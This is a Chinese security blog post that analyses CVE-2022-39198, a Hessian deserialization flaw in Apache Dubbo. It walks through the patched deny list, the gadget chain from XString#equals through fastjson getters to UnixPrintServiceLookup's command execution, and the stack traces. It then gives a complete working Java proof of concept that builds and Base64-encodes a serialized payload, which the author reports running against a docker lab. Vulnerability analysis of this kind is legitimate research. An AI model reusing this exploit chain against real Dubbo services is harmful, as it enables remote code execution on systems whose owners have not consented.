Eswlnk Blog Eswlnk Blog
  • 资源
    • 精彩视频
    • 破解专区
      • WHMCS
      • WordPress主题
      • WordPress插件
    • 其他分享
    • 极惠VPS
    • PDF资源
  • 关于我
    • 论文阅读
    • 关于本站
    • 通知
    • 左邻右舍
    • 玩物志趣
    • 日志
    • 专题
  • 热议话题
    • 游戏资讯
  • 红黑
    • 渗透分析
    • 攻防对抗
    • 代码发布
  • 自主研发
    • 知识库
    • 插件
      • ToolBox
      • HotSpot AI 热点创作
    • 区块
    • 快乐屋
    • 卡密
  • 乱步
    • 文章榜单
    • 热门标签
  • 问答中心反馈
  • 注册
  • 登录
首页 › 攻防对抗 › CVE-2022-39198 Apache Dubbo Hessian Deserialization Vulnerability Gadgets Bypass

CVE-2022-39198 Apache Dubbo Hessian Deserialization Vulnerability Gadgets Bypass

Eswlnk的头像
Eswlnk
2022-12-22 14:09:29
CVE-2022-39198 Apache Dubbo Hessian Deserialization Vulnerability Gadgets Bypass-Eswlnk Blog
智能摘要 AI
CVE-2022-39198 是 Dubbo 中的远程代码执行(RCE)漏洞,影响版本包括 2.7.x < 2.7.18 和 3.0.x < 3.0.12。漏洞源于 Dubbo 内置的 Hessian 库,在 hessian-lite 3.2.12 及以前版本中存在反序列化问题。修复时在 `DENY_CLASS` 黑名单中增加了多个包名,其中包括 JDK 内的 `sun.print`。 漏洞利用的关键在于触发 `sun.print.UnixPrintServiceLookup` 类的 `getDefaultPrintService` 方法,通过 fastjson 反序列化调用任意 getter 方法实现 RCE。具体步骤包括利用 `JSONObject#toString` 方法反序列化,触发 `getDefaultPrinterNameBSD` 方法执行系统命令。POC 通过构造特定的序列化数据并发送至目标环境,成功

CVE-2022-39198

影响

2.7.x < version < 2.7.18

3.0.x < version < 3.0.12

3.1.x < version <= 3.1.0

分析

漏洞描述

我们可以看看在apache通告中对漏洞的简单的描述

很明显,从这个漏洞描述中,我们能够明白这个CVE的造成主要是因为dubbo中内置的hessian项目,主要是因为在hessian-lite中的3.2.12及以前版本中存在有这个漏洞

来看看是因为哪里造成了这个漏洞,以至于能够RCE

我们看看github的diff

https://github.com/apache/dubbo-hessian-lite/commit/5727b36a3cdc428baeef7ee03b131905e39be8ad

主要的更改是在resources/DENY_CLASS文件中

这个文件中,是这个项目维护的一个黑名单

从这次的修复中,多新增了好几个黑名单包名

org.apache.commons.codec.

org.aspectj.

org.dom4j

org.junit.

org.mockito.

org.thymeleaf.

ognl.

sun.print.

有很多,但是在其中只是存在有一个存在于JDK中的包名,即为sun.print.,这里仅是主要探讨有关于JDK中的利用链进行学习

对于其他的包名的的利用链,之后我将会通过自动化工具的方式进行挖掘探索

漏洞回顾

要想要知道能够利用的恶意类到底是哪一个,我们需要明白hessian需要触发什么才能导致漏洞的利用

如果曾经更进过hessian以前的其他链子,你会发现,大多数的链子都是通过使用HashMap / HashSet / HashTable等类来触发equals / compareTo等等方法来进行接下来的调用

而其中,marshal项目中存在有多个通过调用XString#equals方法的方式

进而调用到其他类的toString方法进行接下来 的调用

现洞分析

在CVE-2021-25641这个CVE中存在的一条利用链是通过fastjson库的JSONObject#toString方法来进行反序列化操作,而在起反序列化的过程中将会调用反序列化类的任意getter方法,当时是直接通过触发了TemplatesImpl#getOutputProperties方法来进行利用的

而我们这里,也朝着这样的思路走,我们需要在sun.print.包下,找到一个类的getter方法能够进行漏洞的触发,那个就是我们想要的漏洞点

有关于这个类的利用,之前在跳跳糖中就存在

https://tttang.com/archive/1510/

在上面这篇文章中有所提及

我们跟进一下这种利用方式

我们这里选用的环境是单独的一个dubbo依赖的环境(2.7.16版本)

沿用以前的思路,通过dubbo库依赖的fastjson库,进行任意getter方法的调用,进行调用上图中的getDefaultPrintService方法进行利用

首先我贴一下到XString#equals方法调用JSONObject#toString方法的调用栈

toString:1071, JSON (com.alibaba.fastjson)
equals:392, XString (com.sun.org.apache.xpath.internal.objects)
equals:495, AbstractMap (java.util)
putVal:635, HashMap (java.util)
put:612, HashMap (java.util)
doReadMap:145, MapDeserializer (com.alibaba.com.caucho.hessian.io)
readMap:126, MapDeserializer (com.alibaba.com.caucho.hessian.io)
readObject:2733, Hessian2Input (com.alibaba.com.caucho.hessian.io)
readObject:2308, Hessian2Input (com.alibaba.com.caucho.hessian.io)

之后来看看JSONObject#toString这条链子

这图是XString#equals方法中的代码,其中我们是通过HashMap反序列化的方法,进行元素之间的equals方法的调用,这里的obj2参数,只有是一个JSONObject对象,才会调用其toString方法

因为JSONObject类中没有toString方法,所以只能够调用其父类JSON类的toString方法进行调用

在这个toString方法中,调用了相同类的toJSONString方法

在这里,将会对我们的JSONObject对象进行反序列化操作

这部分的调用栈为

write:-1, ASMSerializer_1_UnixPrintServiceLookup (com.alibaba.fastjson.serializer)
write:271, MapSerializer (com.alibaba.fastjson.serializer)
write:44, MapSerializer (com.alibaba.fastjson.serializer)
write:312, JSONSerializer (com.alibaba.fastjson.serializer)
toJSONString:1077, JSON (com.alibaba.fastjson)

我们前面通过fastjson反序列化的学习,也知道在其反序列化的过程中,将会导致任意getter方法的调用,所以自然能够调用到我们想要的UnixPrintServiceLookup#getDefaultPrintService方法

在这个方法中,主要是获取默认的打印服务相同的操作

首先在其中的一个if语句中

if (CUPSPrinter.isCupsRunning())

我们如果想要利用,需要保证不会满足这个条件

并且操作系统不能够使MAC OS和SUN OS

如果能够满足我们上面的条件,我们将会进一步调用到getDefaultPrinterNameBSD方法中

这里,将会将lpcFirstCom属性中的值传入exeCmd方法中进行调用

而在该方法中,将会将命令拼接在/bin/sh / /usr/bin/sh这两个环境进行执行

之后会通过调用run方法来执行命令

因为在run方法中是存在有Runtime.getRuntime().exec()方法进行执行的,所以能够RCE

POC

public class Test {
    public static void setFieldValue(Object obj, String filedName, Object value) throws NoSuchFieldException, IllegalAccessException {
        Field declaredField = obj.getClass().getDeclaredField(filedName);
        declaredField.setAccessible(true);
        declaredField.set(obj, value);
    }
    public static void main(String[] args) {
        try {
            //需要执行的命令
            String cmd = "touch /tmp/test";
            Field theUnsafe = Unsafe.class.getDeclaredField("theUnsafe");
            theUnsafe.setAccessible(true);
            Unsafe unsafe = (Unsafe) theUnsafe.get(null);
            Object unixPrintServiceLookup = unsafe.allocateInstance(UnixPrintServiceLookup.class);
            //绕过getDefaultPrinterNameBSD中的限制
            //设置属性
            setFieldValue(unixPrintServiceLookup, "cmdIndex", 0);
            setFieldValue(unixPrintServiceLookup, "osname", "xx");
            setFieldValue(unixPrintServiceLookup, "lpcFirstCom", new String[]{cmd, cmd, cmd});
            //封装一个JSONObject对象调用getter方法
            JSONObject jsonObject = new JSONObject();
            jsonObject.put("xx", unixPrintServiceLookup);
            //使用XString类调用toString方法
            XString xString = new XString("xx");
            HashMap map1 = new HashMap();
            HashMap map2 = new HashMap();
            map1.put("yy",jsonObject);
            map1.put("zZ",xString);
            map2.put("yy",xString);
            map2.put("zZ",jsonObject);

            HashMap s = new HashMap();
            setFieldValue(s, "size", 2);
            Class nodeC;
            try {
                nodeC = Class.forName("java.util.HashMap$Node");
            }
            catch ( ClassNotFoundException e ) {
                nodeC = Class.forName("java.util.HashMap$Entry");
            }
            Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
            nodeCons.setAccessible(true);

            Object tbl = Array.newInstance(nodeC, 2);
            Array.set(tbl, 0, nodeCons.newInstance(0, map1, map1, null));
            Array.set(tbl, 1, nodeCons.newInstance(0, map2, map2, null));
            setFieldValue(s, "table", tbl);

            ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
            Hessian2Output hessianOutput = new Hessian2Output(byteArrayOutputStream);
            hessianOutput.setSerializerFactory(new SerializerFactory());
            hessianOutput.getSerializerFactory().setAllowNonSerializable(true);
            hessianOutput.writeObject(s);
            hessianOutput.flushBuffer();

            System.out.println(Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()));
        }catch (Exception e) {
            e.printStackTrace();
        }
    }
}

利用

我这里使用的是自己使用docker搭建的一个带有hessian反序列化环境且仅依赖dubbo库的环境

我将上面的POC得到的序列化数据编码后的base64字符串进行发送

在docker环境中,成功创建了/tmp/test这个空文件

总结

这里不仅可以通过从getDefaultPrintService这个getter方法中进行漏洞的触发

同样也能够在其他的getter方法中进行漏洞的触发,因为毕竟fastjson的反序列化过程调用的所有的getter方法,比如说是也可以从getPrintServices方法中开始进行利用

当然,还有其他的getter方法

这里只是提及了这个CVE的JDK中的利用链,其他的利用链需要依赖其他的库,后面将会进行挖掘依赖中的getter利用

本站默认网盘访问密码:1166
本站默认网盘访问密码:1166
dubbofastjsonhashmapjsonobjecttostring序列化漏洞挖掘
0
0
Eswlnk的头像
Eswlnk
一个有点倒霉的研究牲站长
赞赏
「攻防对抗」内网渗透从零到一之SMB协议
上一篇
「攻防对抗」详解通过动态加载实现攻击的CC3和CC4
下一篇

评论 (0)

请登录以参与评论
现在登录
    发表评论

猜你喜欢

  • 今日热点:伪Clash软件下载陷阱曝光,附防范建议
  • 「攻防对抗」利用 fastjson 原生反序列化与动态代理突破安全限制
  • 「攻防对抗」从上传漏洞到Getshell | 一次完整的渗透过程
  • 「日志记录」从零起步揭开路由器漏洞挖掘的面纱
  • 「攻防对抗」NSmartProxy流量特征的真实表现与应用
Eswlnk的头像

Eswlnk

一个有点倒霉的研究牲站长
1108
文章
319
评论
679
获赞

随便看看

Antscdn2.0系统使用教程第三章|业务安全与自定义防护+防护案例分享
2022-08-30 17:58:53
SecurityTrails SQL宣布:一种访问 SecurityTrails 数据的全新方式
2021-09-01 11:17:04
「攻防对抗」如何实现Powershell免杀?且看本文为你婉婉道来
2023-10-29 22:49:34

文章目录

专题展示

WordPress53

工程实践37

热门标签

360 AI API CDN java linux Nginx PDF PHP python SEO Windows WordPress 云服务器 云服务器知识 代码 免费 安全 安卓 工具 开发日志 微信 微软 手机 插件 攻防 攻防对抗 教程 日志 渗透分析 源码 漏洞 电脑 破解 系统 编程 网站优化 网络 网络安全 脚本 苹果 谷歌 软件 运维 逆向
  • 首页
  • 知识库
  • 地图
Copyright © 2023-2025 Eswlnk Blog. Designed by XiaoWu.
本站CDN由 壹盾安全 提供高防CDN安全防护服务
蜀ICP备20002650号-10
页面生成用时 1.193 秒   |  SQL查询 30 次
本站勉强运行:
友情链接: Eswlnk Blog 网站渗透 倦意博客 特资啦!个人资源分享站 祭夜博客 iBAAO壹宝头条
  • WordPress142
  • 网络安全64
  • 漏洞52
  • 软件52
  • 安全48
现在登录
  • 资源
    • 精彩视频
    • 破解专区
      • WHMCS
      • WordPress主题
      • WordPress插件
    • 其他分享
    • 极惠VPS
    • PDF资源
  • 关于我
    • 论文阅读
    • 关于本站
    • 通知
    • 左邻右舍
    • 玩物志趣
    • 日志
    • 专题
  • 热议话题
    • 游戏资讯
  • 红黑
    • 渗透分析
    • 攻防对抗
    • 代码发布
  • 自主研发
    • 知识库
    • 插件
      • ToolBox
      • HotSpot AI 热点创作
    • 区块
    • 快乐屋
    • 卡密
  • 乱步
    • 文章榜单
    • 热门标签
  • 问答中心反馈